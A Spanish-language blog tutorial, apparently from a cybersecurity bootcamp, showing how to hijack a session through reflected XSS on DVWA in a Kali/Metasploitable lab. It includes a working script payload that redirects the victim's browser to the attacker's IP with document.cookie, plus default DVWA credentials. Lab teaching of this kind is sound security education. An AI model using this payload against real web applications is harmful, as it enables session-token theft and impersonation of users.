¿Cómo hacer un secuestro de sesión?

Autor: | Última modificación: 19 de abril de 2024 | Tiempo de Lectura: 3 minutos
Temas en este post: ,

Algunos de nuestros reconocimientos:

Premios KeepCoding

¿Sabes cómo hacer un secuestro de sesión y para qué se utiliza este ciberataque en entornos web?

El siguiente tutorial sobre cómo hacer un secuestro de sesión está hecho con fines educativos. Utilizar técnicas de hacking web en páginas sin autorización es completamente ilegal. Por eso, te enseñaremos a realizar este ejercicio en un entorno de práctica seguro y lega, que ha sido diseñado especialmente para adquirir estos conocimientos sin perjudicar a nadie.

Vulnerabilidades en entornos web

Las aplicaciones web son un tipo de software que no está para nada exento de tener vulnerabilidades, es decir, fallos o errores de programación que ponen bajo compromiso la seguridad de la aplicación. Ahora bien, las vulnerabilidades de los entornos web son diferentes a la de otros sistemas, como las aplicaciones móviles y las redes corporativas. Por lo tanto, el hacking web es un área de conocimiento específica de la ciberseguridad.

Algunos de los fallos de seguridad más comunes en entornos web se conocen como vulnerabilidades de sesión. Estas vulnerabilidades se relacionan con el proceso de inicio de sesión y autenticación de los usuarios. Es decir, le permiten a los atacantes maliciosos suplantar la identidad de un usuario por medio de credenciales o tokens de sesión robados.

En este post, veremos una técnica de hacking web que se relaciona con explotar este tipo de vulnerabilidades. A continuación, te explicaremos cómo hacer un secuestro de sesión en un entorno legal de práctica para hacking.

¿Cómo hacer un secuestro de sesión?

El secuestro de sesión es un ciberataque que consiste en robar el token de sesión de un usuario con el fin de suplantar su identidad ante la aplicación. Existen diferentes métodos para lograr este ataque y uno de ellos es por medio de una técnica llamada cross-site scripting o XSS.

El cross-site scripting es un tipo de ciberataque web que le permite al atacante ejecutar código en el navegador de una víctima por medio de una aplicación web vulnerable. Así pues, un hacker malicioso puede hacer uso de esta técnica para que el navegador del usuario, al ingresar a un determinado enlace, le envíe su token de sesión al atacante.

Preparación

🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴

Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada

👉 Prueba gratis el Bootcamp en Ciberseguridad por una semana

Antes de ver cómo hacer un secuestro de sesión, es necesario preparar el entorno de práctica de hacking web en el cual realizaremos el ejercicio. Para ello, el proceso es el siguiente:

  1. Instala una máquina virtual con la última versión de Kali Linux.
  2. Instala la máquina virtual deliberadamente vulnerable Metasploitable 2.
  3. Avergua las direcciones IP de ambas máquinas por medio del comando «ifconfig» desde sus terminales.

Para efectos de este ejercicio, vamos a suponer que las direcciones IP de nuestras máquinas son:

  • Para la máquina de Kali Linux: 192.168.175.128
  • Para Metasploitable 2: 192.168.175.130

Ejecución

Con lo anterior, ya habrás preparado tu entorno web de práctica. Ahora, veremos el paso a paso de cómo hacer un secuestro de sesión en la aplicación Damn Vulnerable Web App, que contiene vulnerabilidades de forma deliberada.

  • Primero, abre una terminal en tu máquina de Kali Linux y ejecuta el siguiente comando para iniciar el servidor de Apache 2.
service apache2 start
  • Ejecuta este otro comando para poner el servidor a la escucha:
tail -f /var/log/apache2/access.log
  • Para comprobar que esté funcionando, ingresa a la siguiente dirección desde un navegador de Kali:
127.0.0.1/prueba
¿Cómo hacer un secuestro de sesión?
  • En la terminal de Kali, observarás que ocurre lo siguiente:
¿Cómo hacer un secuestro de sesión?
  • Ahora, desde el navegador de Kali, ingresa a la dirección IP de Metasploitable 2 y selecciona el enlace que dice DVWA.
¿Cómo hacer un secuestro de sesión?
  • Inicia sesión en DVWA con las credenciales por defecto: «admin» y «password«.
¿Cómo hacer un secuestro de sesión?
  • Cuando ingreses, dirígete a la pestaña «DVWA Security» y escoge la opción «Low«.
¿Cómo hacer un secuestro de sesión?
  • Finalmente, para indicarle al navegador de la víctima que se redirija a la dirección IP de Kali (192.168.175.128) y le envíe su token de sesión (document.cookie), utiliza el siguiente payload en el navegador con la sesión de DVWA iniciada.
192.168.175.130/dvwa/vulnerabilities/xss_r/?name=<script>document.location.href="http://192.168.175.128/xss"%2bdocument.cookie</script>
  • Al ejecutar esta dirección URL, verás el siguiente resultado en la terminal de Kali Linux:
¿Cómo hacer un secuestro de sesión?
  • Así pues, notarás que el valor del parámetro PHPSESSID te indicará el token de sesión de la víctima y, con este, es posible suplantar su identidad, siempre que este mantenga la misma sesión activa. Es decir, una vez el usuario cierre sesión, el token dejará de ser válido.

¿Cómo aprender más?

Ya hemos visto cómo hacer un secuestro de sesión. Si quieres aprender más sobre técnicas y herramientas de hacking web, en KeepCoding tenemos un curso intensivo diseñado justo para ti. Ingresa a nuestro Ciberseguridad Full Stack Bootcamp y especialízate en tan solo 7 meses. ¡No sigas esperando e inscríbete ya!

Posts Relacionados

¡CONVOCATORIA ABIERTA!

Ciberseguridad

Full Stack Bootcamp

Clases en Directo | Profesores en Activo | Temario 100% actualizado